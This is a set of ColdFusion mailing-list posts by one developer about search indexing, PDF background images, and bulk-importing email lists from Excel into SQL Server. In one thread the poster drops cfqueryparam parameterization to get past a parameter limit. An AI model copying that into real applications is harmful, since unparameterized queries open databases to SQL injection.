Re: cfindex is taking forever - and one more question

2015-04-13 Thread Les Mizzell

I've optimized things as much as I could by building a number of 
collections and limiting each to a specific doc type.

Next question!!

I'm trying to return a few sentences from each doc with the search term 
highlighted. So, I use ContextPassages like below.

cfsearch name=searchResults
collection=docDEPO
criteria=#form.sch#
ContextHighlightBegin=b
ContextHighlightEnd=/b
ContextPassages=4
ContextBytes=500

However, very rarely is #searchResults.context# actually giving me 
anything. Out of 30 returned documents, maybe only 3 return content for 
#searchResults.context#. Usually it's empty/null/

Suggestions?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360462
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: cfindex is taking forever

2015-04-08 Thread Les Mizzell

  I'm going to forget about it and go mow my grass and see what's 
happening when I finish.

Well crap, somebody stole my lawnmower. This is why we can't have nice 
things

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360434
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: cfindex is taking forever

2015-04-08 Thread Les Mizzell

  That doesn't actually sound unreasonable, but it might be useful to
  come up with a document count more specific than very large.


Approx 3000 documents - around 3 gb of data
... it's still running from what I can tell.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360436
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


cfindex is taking forever

2015-04-08 Thread Les Mizzell

I'm working on building a search interface for a document depo on a 
site. The document folder has files going all the way back to 2005, and 
includes a number of 10+ meg pdf files,  a few that are over 20 megs,  
countless Word and Excel files, Power Point presentations

I don't have access to the CFAdministrator, so:

cfcollection
 action = create
 categories = no
 collection = docDEPO
 engine = verity
 language = English
 path = #req.path#\collections\

cfindex
 collection=docDEPO
 action=refresh
 type=path
 key=#req.path#\documentdepot\
 language=English
 status=info
 extensions=.pdf,.pptx,.docx,.doc,.xls,.xlsx,.ppsx,.txt, ppt


The collection was created successfully as far as I can tell. However, 
indexing has been running (or at least the wheel on my browser is still 
turning) for almost 3 hours now. I'm going to forget about it and go mow 
my grass and see what's happening when I finish.

I'm thinking though ... too much stuff to index? Or is amount of time 
not out of line for a very large collection of files?
Also, I've not been able to find a list of legally accepted extensions. 
I might have something listed that's just going to cause it to crap out 
anyway.

Thoughts? Try something else? What exactly?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360432
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Issue with Changes (?) to CFDocument and a background image.

2015-02-20 Thread Les Mizzell

On 2/20/2015 5:21 PM, Jon Clausen wrote:
 Your background image uses a relative URL:

 background: url(img/pdfCARD.gif) left top no-repeat;
 Have you tried it with an absolute URL? or, alternately, using CSS box shadow:

 .PDFCARD{
  box-shadow: 3px 3px 2px #33;
 }


Switched to the following in the CSS for both files:

background: 
url(http://www.internationalhelpers.co.gg/test/img/pdfCARD.gif;) left 
top no-repeat;

PDF version - no difference.
http://www.internationalhelpers.co.gg/test/pdf.cfm

I have the background attribute enabled in my cfdocument tag as well:
cfdocument format=pdf backgroundvisible=yes

I'd LOVE to be able to do this with just CSS and without the background 
image, but the designer/project manager will settle for nothing else 
than the background image. His theory ...it WAS working, there's no 
reason you can't get it to work exactly as it was before again.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360141
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Issue with Changes (?) to CFDocument and a background image.

2015-02-20 Thread Les Mizzell

Wow - I've spent almost 2 full days trying to figure this out and have 
never found one thing anywhere saying .gif files were no longer 
supported! Thanks Adobe!!
Wonder why the heck not??? Bet I'm not the only one with a legacy 
application that this change broke!!
Swapped it out for a .png and all is well.

PDF version - no difference.
http://www.internationalhelpers.co.gg/test/pdf.cfm


Thanks very much Jon!

 Ah! It’s the image type. Â Apparently CF11 doesn’t support .GIF images. 
 Â If you convert the image to a JPEG it will work. Â Just tested it locally 
 and it went through with a JPG, but not with a GIF.



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360144
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Issue with Changes (?) to CFDocument and a background image.

2015-02-19 Thread Les Mizzell

Afternoon,

Have an older application that's using  cfdocument to push a pdf to the 
user. Last time I checked the app, it was working great, but it's been 
awhile and since then the server has been upgraded to CF 10.

The pdf is basically a collection of business cards. A card consist of a 
pdfCARD.gif card background image with text layered on top.

So when it was working, the pdfCARD.gif was showing behind all the text 
properly and you ended up with a page that looked exactly like rows or 
business cards.

Since the upgrade, the image is still being called, but you only see 
JUST a few pixels of it to the right and bottom of the cards.
It's like everything layered on top of the backgroup is opaque. Setting 
transparencty doesn't work, screwing with the z-index of everything 
doesn't work. Duh ... three hours later and I'm still scratching my head.

I'd like to be able to fix this instead of having to completely rewrite 
the app to use cfpdf (which eventually I will do, but I want to be able 
to bill for it and not have it counted as a bug fix!)

Ideas?

Card div with the background image is like:
#PDFCARD {
width: 136px;
height: 170px;
margin: 0;
float: left;
background: url(img/pdfCARD.gif) left top no-repeat;
text-align: left; }

Using cfdocument is thus:
cfdocument format=pdf backgroundvisible=yes fontembed=yes 

One card is basically:
div id=PDFCARD
   p id=cardTOPcfif makePDF.deal_type EQ Initial Public 
OfferingIPO/cfif/p
   div class=masterBOX prv8FONT
   p class=infoSPAN#makePDF.cardNAME#nbsp;/p
   p class=infoSPAN#makePDF.cardMISC#nbsp;/p
   p class=infoSPAN2#makePDF.cardDESC#nbsp;/p
   /div
   p class=prvINDUS#makePDF.dsp_industry#/p
   p class=prvDATEcfif makePDF.pending EQ pendingPendingcfelse
cfif IsDefined(makePDF.cardMONTH) AND #makePDF.cardMONTH# NEQ 
0#MonthAsString(makePDF.cardMONTH)#/cfif
cfif IsDefined(makePDF.cardMONTH) AND #makePDF.cardMONTH# NEQ 0 and 
IsDefined(makePDF.cardDAY) AND #makePDF.cardDAY# NEQ 
0#makePDF.cardDAY#, /cfif
cfif IsDefined(makePDF.cardYEAR) AND #makePDF.cardYEAR# NEQ 
0#makePDF.cardYEAR#/cfif/cfif
  /p
/div

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:360138
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


incoming tabular data stream error?

2014-11-18 Thread Les Mizzell

Running a page that reads a text file into an array - then writes the 
array to the database.
I get the following error:*

Detail:* [Macromedia][SQLServer JDBC Driver][SQLServer]The incoming 
tabular data stream (TDS) remote procedure call (RPC) protocol stream is 
incorrect. Too many parameters were provided in this RPC request. The 
maximum is 2100.

Looking that up, Ben Nadle says it's from a valuelist being too large:
/id IN ( //cfqueryparamvalue=//#ValueList( qSelected.id 
)#cfsqltype=//cf_sql_integerlist=//true///)

/But, I don't have one of those on the page!/

/Dumping the array in question, it looks OK. There's only 1001 rows. 
/Hmmm.
/Trying a smaller list - 604 records - same error./
/Smaller yet - 200 records - no error.

cfquery name=insertLIST
 cfloop from=1 index=i to=#arrayLen(mailREC)#
 INSERT INTO nl_mailgroups (
   ml_email,
   ml_firstname,
   ml_lastname,
   other
 ) VALUES (
   cfqueryparam value=#mailREC[i][1]# 
cfsqltype=CF_SQL_VARCHAR /,
   cfqueryparam value=#mailREC[i][2]# 
cfsqltype=CF_SQL_VARCHAR null=#not len(mailREC[i][2])# /,
   cfqueryparam value=#mailREC[i][3]# 
cfsqltype=CF_SQL_VARCHAR null=#not len(mailREC[i][3])# /,
   cfqueryparam value=#mailREC[i][4]# 
cfsqltype=CF_SQL_VARCHAR null=#not len(mailREC[i][4])# / );
   INSERT INTO nl_catREL
   ( groups_id, ml_id ) VALUES (  cfqueryparam 
value=#req.thisGROUPID# cfsqltype=CF_SQL_INTEGER /, scope_identity() );
  /cfloop
   /cfquery/


/There's a limit to how many records I can insert using a query list this??
If so, what's the fix ?/
/


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359659
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: incoming tabular data stream error?

2014-11-18 Thread Les Mizzell

  You can either remove your CFQUERYPARAMs (which might be ok if your
  data isn't coming from an untrusted source), or you can limit your
  batch size so you don't exceed 2100 parameters per CFQUERY tag.

Might try this first. It's from inside a client admin system, and 
there's a specifically formatted xlsx sheet they use for this.
Plus, all the vars are cleaned before the insert as well.

  You could either loop over the CFQUERY tag itself (which might well cause
   other performance issues)

It definitely does. One test spreadsheet I've got is over 15,000 
records, and I might as well go get lunch. Usually the server resets the 
connection before it completes...


  or you could make sure your loop doesn't exceed 350 records (2100 
divided by 6)
  by having an outer loop and an inner loop.

Could this be a job for cfthread? Split a large list up into 4 or 5 
threads and just let them run (as soon as I get my head around the 
math... heh)? Seems that would speed things up a good bit, but I've 
never used cfthread before. Might be fun...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359665
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: incoming tabular data stream error?

2014-11-18 Thread Les Mizzell

  You can either remove your CFQUERYPARAMs (which might be ok if your data
  isn't coming from an untrusted source)

This works. Tried it with a list of roughly 1000 records.
Will try my 15,000 record sheet later this evening and see what happens.
Added 4 threads to split all list up as well. Speeds things up a bit.



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359675
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Advise in optimizing an application

2014-11-16 Thread Les Mizzell

Ended up finally creating a VIEW in the database to handle the problem.
Even on a 15,000 record list, runs in just a few seconds...

| SELECT  DISTINCT  nl_catREL.groups_id, duplicates.ml_id
 FROM   nl_catREL
 INNER  JOIN
nl_mailgroupsON  nl_mailgroups.ml_id = nl_catREL.ml_id
 INNER  JOIN
nl_mailgroupsAS  duplicatesON  duplicates.ml_email = 
nl_mailgroups.ml_email
  ANDduplicates.ml_id  nl_mailgroups.ml_id|




~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359653
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Advise in optimizing an application

2014-11-15 Thread Les Mizzell

  I'm still fighting with my Excel Import application a
  bit. Basically, it works pretty well, as long as
  there's a limited number of records being imported.

Was testing last night with the 15,000 record Excel sheet.
If I comment out the two filter queries in the code, it will read in the sheet 
and a cfdump of the array shows everything was imported properly. Didn't time 
it, but it only took a few minutes. Adding those two queries back in and trying 
to import the entire sheet - the server choked and I had to call support to 
reboot it. Whoops.

It's the two filter queries below that are slowing the whole thing down and 
choking the server. The one optimization I can think of is the look for 
duplicates query. Instead of running that against the entire database looking 
for matches (several hundred thousand records last time I checked), I should do 
a query of queries and run the loop ONLY against records for that one group, 
which I'd prefetch before starting the loop. That should help a lot. Working on 
that now...

One thought I had - I don't care how long the import of a large sheet takes. It 
just can't choke the server. Would there be any benefit of putting in a DELAY 
for every 500 records (or so) in the loop to give the server a rest to do 
other stuff?

cfif i MOD 500 EQ 0
cfset sleep(5000) /
/cfif



FILTER QUERIES
!--- Before we can save the list, we need to run two checks  ---
!--- First, is there an email address in this list that has previously 
unsubscribed? ---
cfoutput
  cfloop from=#arrayLen(mailREC)# to=1 step=-1 index=i
  !--- delete the row if it was an invalid address. Got to be a way to fix 
this but ---
  !--- the above data output block wants to add an invalide row if you 
try to skip the entire row when the address is invalid ---
 cfif mailREC[i][1] eq -
cfset ArrayDeleteAt(mailREC, #i#)
 cfelse
  !--- OK, it's a valid address. Have they unsubscribed before? ---
 cfquery name=unsubbed datasource=#req.datasource# 
username=#username# password=#password#
 SELECT groups_id FROM maillist_unsubscribe
 WHERE dateRESUB is NULL
 AND ml_email = cfqueryparam value=#mailREC[i][1]# 
cfsqltype=CF_SQL_VARCHAR
 AND groups_id = cfqueryparam value=#req.thisGROUPID# 
cfsqltype=CF_SQL_INTEGER /
 /cfquery
   cfif unsubbed.recordcount EQ 1cfset ArrayDeleteAt(mailREC, 
#i#)/cfif
 /cfif
/cfloop

   !--- if Admin has checked the duplicate filter box on the form, but sure 
nothing incoming is a duplicate already in the database for this group ---
   cfif form.dupFILTER EQ on
cfloop from=#arrayLen(mailREC)# to=1 step=-1 index=i
 cfquery name=ckDUP datasource = #req.datasource# 
username=#username# password=#password#
 Select groups_id from vw_mailLIST
 WHERE groups_id = cfqueryparam value=#trim(req.thisGROUPID)# 
cfsqltype=CF_SQL_INTEGER  /
 AND ml_email = cfqueryparam cfsqltype=cf_sql_varchar 
value=#mailREC[i][1]# /
 /cfquery
 cfif ckDUP.recordcount EQ 1cfset ArrayDeleteAt(mailREC, #i#)/cfif
/cfloop
   /cfif
/cfoutput






~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359647
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Advise in optimizing an application

2014-11-15 Thread Les Mizzell

On 11/15/2014 12:42 PM, Roger Austin wrote:
 Any chance to have the database engine do all that record logic?

After killing myself on this, I finally realiaed I was doing it ALL 
WRONG! All those loops and everything to filter the array, then do the 
insertwas taking forever.
I'm revising - BULK IMPORT EVERYTHING to a temp table. No filters. Then, 
run the filters against the database and write to the final table.  A 
LOT faster. Duh..

Still got one problem, and it's the duplicates filter.

So, I need to filter the inserted records and kill any duplicate email 
addresses.
First, I need to be sure I'm filtering ONLY the addresses that belong to 
the specific group, as folks might be subscribed to more than one group:

cfquery name=getFULLLIST
SELECT groups_id, email_id from nl_catREL
WHERE groups_id = cfqueryparam value=#req.thisGROUPID# 
cfsqltype=CF_SQL_INTEGER  /
/cfquery
cfset fullLIST = #ValueList(getFULLLIST.email_id)# /

Now, let's see if I can return JUST the duplicates. Once that works, 
it's no big deal to delete them...
cfquery name=findDups
SELECT distinct a.email_id
FROM nl_mailgroups a, nl_mailgroups b
WHERE a.ml_id in (cfqueryparam value=#fullLIST# 
cfsqltype=CF_SQL_INTEGER list=yes  /)
AND a.email_id  b.email_id
AND a.ml_email = b.ml_email
ORDER BY a.email_id
/cfquery

That doesn't work. It returns everything ... and it takes a really long 
time, even with only 150 addresses or so.
Ideas?


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359650
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Advise in optimizing an application

2014-11-14 Thread Les Mizzell

Evening,

I'm still fighting with my Excel Import application a bit. Basically, it 
works pretty well, as long as there's a limited number of records being 
imported.
Problem is, the client tried to import a list with almost 15,000 
addresses today, and it eventually timed out or the server reset the 
connection before it finished the import. Then my phone rings...

The app does several things:
1. Import 4 columns from an excel sheet [email][first name][last 
name][company] into an array
2. Check the email address to see if it's valid. If not, delete that row 
from the array
3. Check the email address to see if it's been previously unsubscribed 
from the list and delete that row from the array
4. Check the list against other email addresses already in the database 
for that list, and delete that row so as to not import it if it's 
already there.
5. After all that, write the record

Running some test with the 15,000 address sheet
Reading the Excel sheet in and running steps 1 through 4 above is taking 
well over 10 minutes by itself.
Writing the record after that, enough extra time to be sure it borks up.
Smaller list (several hundred addresses) seem to import fine - MUCH 
faster than the former POI based app.

So my question is - I need to optimize something somewhere to cut down 
CPU cycles and increase efficiency.
The client uses this thing multiple times every day.

Some of the code is from an example by Raymond Camden. Thanks Raymond. 
Full app below.
Where are my major bottlenecks and what can I do about them?



cftry
cfset theISSUE = true /
cfif structKeyExists(form, email_list) and len(form.email_list)

!--- Each mail list has to belong to a group:
  1. If a New Group - add to groups table and get ID---
cfif IsDefined(form.newGROUP) AND #form.newGROUP# NEQ 
cfquery name=addGROUP datasource = #req.datasource# 
username=#username#  password=#password#
SET NOCOUNT ON
INSERT into nl_groupLIST ( mgroup,status ) values ( cfqueryparam 
value=#trim(form.newGROUP)# cfsqltype=CF_SQL_VARCHAR ,'act' )
SELECT @@IDENTITY AS newGROUPID
SET NOCOUNT OFF
/cfquery
cfset req.thisGROUPID = #addGROUP.newGROUPID# 
/cfif
!---2. If an existing group - just get the id---
cfif IsDefined(form.mgroup) AND #form.mgroup# NEQ xxcfset 
req.thisGROUPID = #form.mgroup# /cfif

!--- Get the Excel Sheet and send it to a destination outside of web 
root ---
 cfset dest = getTempDirectory()

cffile action=upload
 destination=#dest#
 filefield=email_list
 result=upload nameconflict=makeunique

 cfif upload.fileWasSaved
 cfset theFile = upload.serverDirectory  /  upload.serverFile
 cfif isSpreadsheetFile(theFile)
 cfspreadsheet action=read src=#theFile# query=data
 cffile action=delete file=#theFile#
 cfelse
  cfset theISSUE = invalid /
 cfset errors = The file was not an Excel file.
 cffile action=delete file=#theFile#
 /cfif
 cfelse
 cfset theISSUE = loading /
 cfset errors = The file was not properly uploaded.
 /cfif

/cfif

 cfset metadata = getMetadata(data)
 cfset colList = 
 cfloop index=col array=#metadata#
 cfset colList = listAppend(colList, col.name)
 /cfloop

  cfif data.recordCount is 0
  cfset theISSUE = empty /
   cfelse

!--- Create an array and read the data into it ---
cfset mailREC=arraynew(2)

  cfoutput query=data
  cfif IsDefined(data.col_1) AND 
#isVALID(email,data.col_1)#cfset email = trim(#data.col_1#) 
/cfelsecfset email = - //cfif
  cfif IsDefined(data.col_2) AND #len(data.col_2)#cfset fname = 
trim(#data.col_2#) /cfelsecfset fname = - //cfif
  cfif IsDefined(data.col_3) AND #len(data.col_3)#cfset lname = 
trim(#data.col_3#) /cfelsecfset lname = - //cfif
  cfif IsDefined(data.col_4) AND #len(data.col_4)#cfset other = 
trim(#data.col_4#) /cfelsecfset other = - //cfif
  cfset mailREC[CurrentRow][1] = email /
  cfset mailREC[CurrentRow][2] = fname /
  cfset mailREC[CurrentRow][3] = lname /
  cfset mailREC[CurrentRow][4] = other /
/cfoutput

!--- Before we can save the list, we need to run two checks ---
!--- First, is there an email address in this list that has previously 
unsubscribed? ---
cfoutput
  cfloop from=#arrayLen(mailREC)# to=1 step=-1 index=i
  !--- delete the row if it was an invalid address. Got to be a way 
to fix this but ---
  !--- the above data output block wants to add an invalide row 
if you try to skip the entire row when the address is invalid ---
 cfif mailREC[i][1] eq -
cfset ArrayDeleteAt(mailREC, #i#)
 cfelse
  !--- OK, it's a valid address. Have they unsubscribed before? ---
 cfquery name=unsubbed datasource=#req.datasource# 
username=#username# password=#password#
 SELECT groups_id FROM maillist_unsubscribe
 WHERE dateRESUB is NULL
 

Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-10 Thread Les Mizzell

On 10/10/2014 1:50 AM, Mike K wrote:
 You do know that Microsoft changed the insert syntax as from SQLServer 2008
 dont you?now you can insert multiple records in one go like this:

 INSERT into Tablename (field1, field2, field3, field4 ) Values
 ( value1, value2, value3, value4 ... ;
 value1, value2, value3, value4  ;
 value1, value2, value3, value4 
 )



The problem is, I'm writing to TWO tables 

Insert into MailList (email address, name  )
Insert into Categories ( just_inserted_MailList_id, 
other_relational_stuff...)

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359450
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

I've got an application that imports email list from Excel sheets. 
Mostly working fine, but I've got one spot where I'd like to optimize 
things if I could.

Once the data is imported I run two queries against each email address:
1. see if the email address is already in the group in question
2. see if this person has already unsubscribed from this list ---

If both of those return no records, and I've already run some other 
validation making sure entered info is valid, I add everything to an array:

cfset mailREC[CurrentRow][1] = email /
cfset mailREC[CurrentRow][2] = fname /
cfset mailREC[CurrentRow][3] = lname /
cfset mailREC[CurrentRow][4] = other /

Now the problem ...
I need to do two inserts
   - first to enter the info into the email database
   - second to capture the ID from the first insert, and put that into a 
relational table that assigns that address to the specified group.
I removed cfqueryparam from the below to make it more compact...

So, I loop through my array and enter all the records..

loop..
   cfquery name=insertEMAIL
 SET NOCOUNT ON
  . remainder of insert code
 SET NOCOUNT OFF
 SELECT @@IDENTITY AS fromLISTID
 /cfquery

   cfquery name=insertGROUP 
   INSERT INTO nl_catREL ( groups_id, email_id )
VALUES ( #req.thisGROUPID#, #insertLIST.fromLISTID# )
/cfquery
/loop..

The problem is, some of these spreadsheets and have up to 5,000 or more 
email addresses.
That means, just for the insert, two queries for each address = 10,000 
queries.
If it was just one insert query, no big deal, as I could loop inside the 
query tag itself and reduce it to one call. It's the two combined that 
are giving me a headache. The application IS working the way it is, but 
shove a 15,000 email list into it, and it obviously chokes.

Is there a better way to set up my two insert queries above so it's not 
making two calls for every single address?



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359425
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

 Have you investigated using a Stored Procedure that does both inserts?

This seems the way to go.
Writing Transact-SQL is outside my area of expertise.
I'm looking at example code now.
Give me a bit and maybe I'll figure it out...

Thanks to everybody that replied.


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359432
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

On 10/9/2014 1:49 PM, Cameron Childress wrote:
 Most databases will let you issue multiple SQL statements in a single
 request/transaction. You just have to separate them with a semicolon.

If you did it this way, how would you get the ID from the first insert 
for use in the 2nd ... (because I'm looking at stored procedures and I'm 
not ashamed to admit that doing that inside SQL Server is beyond my 
coding capabilities - unless somebody can point me to /The Complete 
Idiot's Guide to Writing this Procedure with SqlServer 10/ (which I've 
been looking for but haven't found yet...)

So something like:

cfquery
cfloop
  insert into table_1 (...) values (...);
  insert into table_2 (table_1_id, other_stuff) values 
(#Id_from_above_insert#, #other_stuff# )
/cfloop
/cfquery






~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359433
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

On 10/9/2014 5:00 PM, Cameron Childress wrote:


 A few years ago I stopped using numerics and auto-increment and started
 using UUID for all PK/FK columns.

On new stuff, this is what I'm doing as well. Unfortunitely, this is a 
pre-existing app and would take a good bit of rewrite to do that.

Still scratching my head over writing the procedure itself.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359435
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

On 10/9/2014 5:16 PM, William Seiter wrote:
 What kind of database?  MSSql? Mysql? Oracle? ...



SQL Server 10

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359437
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

On 10/9/2014 5:20 PM, William Seiter wrote:
 Off the top of my head...

 To insert the last inserted unique id in a transaction...

 cfquery
 INSERT dbo.table(column) SELECT 1;
 SELECT @newID = SCOPE_IDENTITY();
 INSERT dbo.table_2 (column) SELECT @newID;
 /cfquery


I'll give this a try. It's got to be way less processor intensive than 
running multiple queries for each insert.
Still, looks the stored procedure will be the less load on the server 
way to go.

Thanks!!

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359439
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Avoiding a boat load of queries inserting multiple records - Better Way?

2014-10-09 Thread Les Mizzell

  Not knowing much about your overall process, I'll try to stick to some
  generic ideas. Let's assume you don't need this stuff dumped into the
  database the very second it gets sent to you.

This is actually part of a client's admin system on their website. They 
send out legal newsletters. LOTS of legal newsletters.
And they have boats loads of various list they can send them too. Some 
lists go to 15,000 or more subscribers at a time.
They want to be able to import as many list as they want with as many 
records at any time they want by just clicking the import list button...

This app have been around for awhile. They just upgraded their server, 
so up to this point the import function was using the POI utility.
Even when they entered a legal spreadsheet into the system, if it had 
too many records or extra crap for POI to chew through, the whole thing 
would time out.
They KNOW that the damn spreadsheet is supposed to be formatted a very 
specific way for this to work, and there's a template they're supposed 
to use, but clients being clients, they will attempt to shove ANYTHING 
in there at times, and then yell when it doesn't import. Even the 
concept of the email address HAS to be the first column just gets 
ignored a lot.

This particular application has been a huge challenge from day one, 
mostly because the rules get ignored half the time, so the app kicks the 
spreadsheet back out at them and demands it be reformatted, and they 
yell about it thinking that it should be able to import whatever they 
try to put in. Ain't never gonna happen.

Really, how hard is: email|first name|last name|company?
But I see sheets with hidden columns, paragraphs of extra stuff, 
formulas (what the heck for? It's supposed to be a list of addresses!!), 
email address in the 9th column when the app is specifically set to 
ignore anything past the first four ... it's unreal.

Since the server upgrade, sheets that would time out seem to get parsed 
pretty quickly by cfspreadsheet functions. I'm happier with it now. But, 
I'm trying to improve on the efficiency of the whole thing by optimizing 
the queries, because I KNOW that running 20,000 queries to import 5000 
email addresses isn't a good thing as far as cpu cycles go.

I'm having my local SQL Server expert meet with me tomorrow and we'll 
get a stored procedure written to take care of all this in one fell swoop...

Clients, huh?? Sheesh!

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359442
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
